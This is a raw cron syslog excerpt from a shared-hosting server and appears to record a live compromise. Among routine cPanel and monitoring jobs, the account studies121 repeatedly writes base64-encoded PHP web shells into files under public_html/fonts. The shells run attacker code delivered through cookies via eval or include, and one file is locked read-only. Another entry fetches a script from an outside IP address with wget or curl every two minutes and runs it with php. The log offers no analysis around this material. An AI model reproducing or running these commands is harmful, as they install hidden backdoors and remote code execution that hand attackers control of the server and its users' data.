Sep  6 06:48:01 ip-184-168-122-23 CROND[30377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:48:01 ip-184-168-122-23 CROND[30376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:48:01 ip-184-168-122-23 CROND[30379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:49:01 ip-184-168-122-23 CROND[30468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:49:01 ip-184-168-122-23 CROND[30469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:49:01 ip-184-168-122-23 CROND[30472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:49:01 ip-184-168-122-23 CROND[30471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:50:01 ip-184-168-122-23 CROND[30563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:50:01 ip-184-168-122-23 CROND[30561]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 06:50:01 ip-184-168-122-23 CROND[30560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:50:01 ip-184-168-122-23 CROND[30565]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 06:50:01 ip-184-168-122-23 CROND[30564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:50:01 ip-184-168-122-23 CROND[30566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:50:01 ip-184-168-122-23 CROND[30567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:50:01 ip-184-168-122-23 CROND[30562]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:50:01 ip-184-168-122-23 CROND[30569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:51:01 ip-184-168-122-23 CROND[30677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:51:01 ip-184-168-122-23 CROND[30678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:51:01 ip-184-168-122-23 CROND[30680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:51:01 ip-184-168-122-23 CROND[30681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:52:01 ip-184-168-122-23 CROND[30753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:52:01 ip-184-168-122-23 CROND[30757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:52:01 ip-184-168-122-23 CROND[30758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:52:01 ip-184-168-122-23 CROND[30761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:52:01 ip-184-168-122-23 CROND[30762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:53:01 ip-184-168-122-23 CROND[30874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:53:01 ip-184-168-122-23 CROND[30878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:53:01 ip-184-168-122-23 CROND[30876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:53:01 ip-184-168-122-23 CROND[30877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:54:01 ip-184-168-122-23 CROND[31015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:54:01 ip-184-168-122-23 CROND[31017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:54:01 ip-184-168-122-23 CROND[31020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:54:01 ip-184-168-122-23 CROND[31021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:54:01 ip-184-168-122-23 CROND[31019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:55:02 ip-184-168-122-23 CROND[31104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:55:02 ip-184-168-122-23 CROND[31106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:55:02 ip-184-168-122-23 CROND[31107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:55:02 ip-184-168-122-23 CROND[31109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:55:02 ip-184-168-122-23 CROND[31108]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:55:02 ip-184-168-122-23 CROND[31110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:56:01 ip-184-168-122-23 CROND[31200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:56:01 ip-184-168-122-23 CROND[31202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:56:01 ip-184-168-122-23 CROND[31203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:56:01 ip-184-168-122-23 CROND[31205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:56:01 ip-184-168-122-23 CROND[31204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:57:01 ip-184-168-122-23 CROND[31288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:57:01 ip-184-168-122-23 CROND[31290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:57:01 ip-184-168-122-23 CROND[31292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:57:01 ip-184-168-122-23 CROND[31294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:58:01 ip-184-168-122-23 CROND[31379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:58:01 ip-184-168-122-23 CROND[31382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:58:01 ip-184-168-122-23 CROND[31383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:58:01 ip-184-168-122-23 CROND[31384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 06:58:01 ip-184-168-122-23 CROND[31381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:59:01 ip-184-168-122-23 CROND[31460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 06:59:01 ip-184-168-122-23 CROND[31461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:59:01 ip-184-168-122-23 CROND[31463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 06:59:01 ip-184-168-122-23 CROND[31462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 07:00:01 ip-184-168-122-23 CROND[31578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 07:00:01 ip-184-168-122-23 CROND[31583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 07:00:01 ip-184-168-122-23 CROND[31580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
